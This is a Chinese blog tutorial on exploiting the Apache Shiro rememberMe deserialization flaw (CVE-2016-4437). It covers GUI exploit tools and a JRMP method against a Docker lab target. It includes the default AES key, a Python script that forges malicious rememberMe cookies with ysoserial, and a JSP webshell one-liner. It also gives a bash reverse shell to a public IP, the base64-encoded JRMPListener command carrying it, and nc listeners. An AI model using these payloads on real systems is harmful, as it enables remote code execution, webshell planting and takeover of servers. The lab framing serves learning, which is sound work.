详细shiro漏洞复现及利用方法(CVE-2016-4437)

目录

前言

1.了解shiro

2.shiro漏洞原理

3.漏洞验证

4.漏洞复现

 5.漏洞利用

5.1图形化工具利用

5.1.1shiro550/721工具

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

         5.2JRMP利用

        5.2.1工具准备

        5.2.2漏洞利用具体步骤 

        5.2.3漏洞检测

前言

该篇文章比较详细的介绍shiro漏洞利用,无论是shiro漏洞图形化工具利用,还是shiro漏洞结合JRMP我觉得比大多数文章都详细,如果你对网上结合JRMP反弹shell不是很明白,非常推荐来看看这篇文章。另外漏洞利用工程中用到的工具以及代码都上传到百度网盘,供大家使用,在文章最后哦。

1.了解shiro

Apache Shiro框架是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

2.shiro漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
所以我们Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

3.漏洞验证

  1. 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  2. 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  3. 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  4. 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
  5. 或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe

4.漏洞复现

靶机:linux kali 192.168.3.27

接受反弹shell: windows10 192.168.3.207

这里直接使用docker拉取镜像,当然也有其他靶场的。

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 5555:8080 medicean/vulapps:s_shiro_1
原本端口是8080给他换成5555

 5.漏洞利用

这里我们可以使用图形工具进行利用,也可以使用代码进行利用。首先我们将图形化工具利用。

5.1图形化工具利用

5.1.1shiro550/721工具

1.输入url地址

上面有三个选项,第一个选择如果是自定义http请求,就勾选它,下方会出现输入框。第二个选择如果想要密钥爆破选择keys.conf.big字典,该字典的密钥多一点,默认是keys.conf,该字典都是一些常用密钥。第三个选择如果想指定key以及利用链等。一般来说我们不用选择那么多。直接输入url就点击下一步就行。

2.选择方式检测

这里有四个方式,方式优缺点各不相同,可以看下面链接了解。这里我们选择第四种,因为有回显大家看的比较清楚。

工具|Shiro漏洞一键检测利用工具ShiroExploit - SecPulse.COM | 安全脉搏

 

 3.进行检测

如果存在漏洞,上面的输入框就可以输入,并且显示该shiro的默认密钥是什么,以及利用链等等。

 4.命令执行

当我们检测到漏洞时候,就可以在输入框输入命令,因为我选择的是第四种回显方式,所以命令结果会在下面显示出来,比如如果选择第一种检测方式他就没有结果显示,就只有执行成功。

注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。

检测到目标存在Shiro反序列化漏洞

 5.反弹shell

因为我们的靶机是linux系统所以我们选择linux,后面填写的是接受shell的ip地址和端口。我们在接受shell机上利用nc开启8888端口监听,过一会就 可以看到连接成功。

6.获取webshell

该工具上传的木马是在config文件夹里面shell.jsp里面,不过这个文件需要自己创建,里面代码需要自己写入。这里木马需要是jsp文件,不然不解析哦。

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

 这时候我们可以访问该地址,因为网站页面不回显命令结果,所以我们可以使用DNSLog看是否有结果。可以看到命令成功执行。

http://192.168.3.27:5555/1.jsp?cmd=ping%20nrdp7u.dnslog.cn

 

 不过这里我出现一个问题就是,我把木马改成那种连接木马文件内容,使用冰歇连接,是失败的,连接不上,不知道是什么原因。我看到别人是连接成功的。

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

这个工具可以进行内存马注入,不过我的靶场是注入不了,查看资料好像需要静态资源,反正我是失败的。其他可以用用,首先我们需要提供目标url,可以选择是post还是get。可以指定密钥可以爆破。可以爆破利用链及回显方式。下面有检测日志,命令执行,内存马等选项。(写这个时候是在公司所以ip有所变化)

5.2JRMP利用

在很多文章里面看到了ysoserial利用,这个是一个java序列化工具。因为我们的漏洞是由于反序列化造成的。首先我们来看需要准备什么。

5.2.1工具准备

第一:你需要安装python,这个就自己百度了。以及一些模块主要是是pycrypto,这个模块主要是用来加密的。

pip install pycryptodome

第二:你需要一个加密的代码,这个我会直接给到大家,网上一搜也有很多。

第三:需要安装maven,这个主要是给ysoserial打包成架包吧。以及下载ysoserial,或者你可以去网上下载打包好的。

下载maven 并进行配置。
sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile


下载ysoserial并进行打包
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
#加密代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print( "rememberMe={0}".format(payload.decode()))


5.2.2漏洞利用具体步骤 

第一步:首先我们需要将一个地址加一个端口进行加密,这个地址是运行反弹命令的主机ip,也就是我们第二步主机ip。加密的步骤就是我们上面说的序列化——AES加密——base64加密。当然代码都可以帮你处理好了。你的加密代码poc.py,需要和打包好的序列化工具ysoserial放在一起才能进行加密。

第二步:我们成功打包好ysoserial,打包好的工具是在/ysoserial/target/下面的,在该目录执行代码,这里需要监听端口,和你在第一步加密的端口要一致。我都是7777。这里还有一个反弹shell的端口,自己随便设置一下,我是8888.

http://www.jackson-t.ca/runtime-exec-payloads.html#网上在线编码,我打不开,大家试试

反弹命令需要进行base64编码,网上有那种在线的,但是我打不开 ,这个图是我自己网上找的,大家自己试试能不能打开,如果你和我一样打不开就直接找网上那种在线的base64编码把反弹命令放上去编码,然后得到的编码替换掉我代码里面的编码就行。这个ip不是我真实ip,所以不要奇怪我文章编码怎么和我运行时编码不一样。我是在公网所以ip都擦掉了。如果大家是在内网就无所谓了。

bash -i >& /dev/tcp/116.55.22.113/8888 0>&1

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNTUuMjIuMTEzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'


 第三步:在你需要接受反弹shell的主机上开启端口监听,用什么端口取决你反弹命令用了什么端口。

nc -lvp 8888

第四步:将你第一步加密的数据,放到你抓包的cookiel里面,自己添加rememberMe字段,将数据放到该字段后面。发送数据。

 一会就会收到反弹shell。一开始我不是很理解这个代码流程,为什么发送目标服务器不是加密的反弹命令而是一个地址加端口。首先我们理解一下为什么这么处理会反弹shell.。具体步骤如下。

  1. vps 跑起 exploit/JRMPListener ,并指定生成 payload1(我们第二步骤)
  2. 向漏洞服务器发送 payloads/JRMPClient 生成的 payload2(我们第一步骤)
  3. 漏洞服务器反序列化 payload2
  4. 反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
  5. exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
  6. 漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
  7. payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

payload1 中主要利用通用库比如 commons-collections 等

payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget

(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)

6.3漏洞检测

该步骤是和上面漏洞利用是差不多的,第一步我们需要去http://www.dnslog.cn/里面拿一个域名。第二步执行如下代码。就是我们上面漏洞利用第二步,代码不一样。第三步就是我们漏洞利用第一步。第四步就是将加密数据发送出去。然后看dnslog官网里面有没有解析出ip地址。解析就代表执行命令,就存在反序列化漏洞。这个跟我们上面检测工具的第三种比较类似。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'ping wzawdr.dnslog.cn'

这是一部分的资源链接:https://pan.baidu.com/s/1WQFK2VGj6SH55OCT10sisQ 
提取码:ij2b  一个是我上面所展示的工具,一个是打包好的架包。工具使用如下所示

 看在我这边贴心份上点个赞再走呗。

  • 56
    点赞
  • 108
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

糊涂是福yyyy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值